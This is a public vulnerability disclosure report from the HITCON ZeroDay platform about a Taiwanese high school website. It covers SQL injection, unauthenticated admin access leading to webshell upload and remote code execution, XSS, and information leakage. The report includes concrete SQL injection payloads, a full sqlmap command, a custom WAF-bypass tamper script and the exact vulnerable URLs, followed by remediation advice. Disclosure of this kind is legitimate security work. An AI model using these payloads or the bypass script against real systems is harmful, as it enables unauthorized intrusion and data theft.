Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2023-01001
- Vendor: 新北市政府教育局
- Title: 新北市崇義高級中學 XSS與SQL injection to RCE以及未授權訪問跟資訊洩漏
- Introduction: XSS與SQL injection to RCE以及未授權訪問
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2023/12/09 21:54:36 : 新提交 (由 chocola5655 更新此狀態)
- 2023/12/09 21:55:56 : 新提交 (由 chocola5655 更新此狀態)
- 2023/12/09 21:57:23 : 新提交 (由 chocola5655 更新此狀態)
- 2023/12/09 22:08:25 : 新提交 (由 chocola5655 更新此狀態)
- 2023/12/09 22:10:39 : 新提交 (由 chocola5655 更新此狀態)
- 2023/12/09 22:11:05 : 新提交 (由 chocola5655 更新此狀態)
- 2023/12/09 22:15:52 : 新提交 (由 chocola5655 更新此狀態)
- 2023/12/11 22:52:14 : 新提交 (由 chocola5655 更新此狀態)
- 2023/12/11 22:52:30 : 新提交 (由 chocola5655 更新此狀態)
- 2023/12/11 22:52:45 : 新提交 (由 chocola5655 更新此狀態)
- 2023/12/11 22:53:35 : 新提交 (由 chocola5655 更新此狀態)
- 2023/12/15 10:52:23 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/12/26 11:23:10 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/12/26 11:23:10 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/02/06 08:19:12 : 複測申請中 (由 組織帳號 更新此狀態)
- 2024/02/06 08:19:18 : 複測申請中 (由 組織帳號 更新此狀態)
- 2024/02/06 12:01:10 : 確認已修補 (由 chocola5655 更新此狀態)
- 2024/02/22 03:00:08 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2023-01001
- 通報者:ludi2320531 (chocola5655)
- 風險:嚴重
- 類型:遠端命令執行 (Remote Code Execution)
參考資料
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
相關網址
https://www.tyhs.ntpc.edu.tw/main_newsdetial.php?news_id=48&type_id=2
https://www.tyhs.ntpc.edu.tw/admin/ckfinder/ckfinder.html
https://www.tyhs.ntpc.edu.tw/admin/
敘述
-
SQL injection
URL: https://www.tyhs.ntpc.edu.tw/main_newsdetial.php?news_id=48&type_id=2
注入類型
boolean-based blind
payload: news_id=42 OR NOT 3458=3458#&type_id=2
error-based
payload:news_id=42 AND GTID_SUBSET(CONCAT(0x716a787a71,(SELECT (ELT(8438=8438,1))),0x716a7a7871),8438)&type_id=2
time-based blind
payload:news_id=42 AND (SELECT 2513 FROM (SELECT(SLEEP(5)))Icoi)&type_id=2
sqlmap payload:
sqlmap --random-agent -u "https://www.tyhs.ntpc.edu.tw/main_newsdetial.php?news_id=42&type_id=2" --tamper WAF1 --prefix "" --technique BETU --union-cols 6 --text-only --hex -p news_id --batch -v 3 --dbs
WAF腳本
#!/usr/bin/env python
def dependencies():
pass
def tamper(payload:str, **kwargs):
CrucialString=[
'DATABASE()','FROM','schema_name','INFORMATION_SCHEMA.SCHEMATA','table_name',
'INFORMATION_SCHEMA.TABLES','table_schema','column_name','INFORMATION_SCHEMA.COLUMNS'
]
if payload:
if 'UNION' in payload:
payload=payload.replace('UNION','/*!--%20-%0AuNiOn%23a%0A*/')
if payload.startswith('42 '):
payload=payload.replace('42 ','42 and 0 ')
for i in CrucialString:
if i in payload:
payload=payload.replace(i,f'/*!50000{i}%23a%0A*/')
if '-- ' in payload:
payload=payload.replace('-- ','--%20')
return payload.replace(' ','/**/')
-
未授權訪問
https://www.tyhs.ntpc.edu.tw/admin/admin_banner.php?ntype=
進去後可新增檔案將webshell上傳後可RCE
目前webshell檔案已經刪除 -
XSS
-
資訊洩漏
進入根目錄後可隨意進去管理員面板及其他管理頁面
ckfinder.html 存在任意檔案上傳
修補建議
SQL 注入 (SQL Injection)
Boolean-Based Blind 和 Time-Based Blind SQL 注入:使用預備語句(Prepared Statements)和參數化查詢來防止 SQL 注入。這會確保用戶輸入被當作數據而不是 SQL 代碼執行。
Error-Based SQL 注入:設置適當的錯誤處理機制,不向用戶顯示詳細的數據庫錯誤資訊。這有助於防止攻擊者利用錯誤資訊來發動攻擊。
未授權訪問
強化登入機制:實施多因素認證和強密碼政策。
目錄訪問限制:設定伺服器權限和訪問控制列表(ACL),以防止未授權訪問敏感目錄和後台頁面。
文件上傳限制:在管理員頁面上限制文件上傳類型和大小,並對上傳的文件進行掃描,以確保它們不包含惡意代碼。
XSS 漏洞
輸入驗證和輸出編碼:對所有用戶輸入進行驗證,並在將輸入數據顯示在頁面上時進行適當的編碼,以防止惡意腳本被執行。
資訊洩漏
限制根目錄訪問:通過配置伺服器設置來限制對網站根目錄的直接訪問。
檢查和移除不必要的文件:定期檢查網站目錄,移除不必要或過時的文件和頁面,特別是那些可能包含敏感資訊的文件。
常規安全措施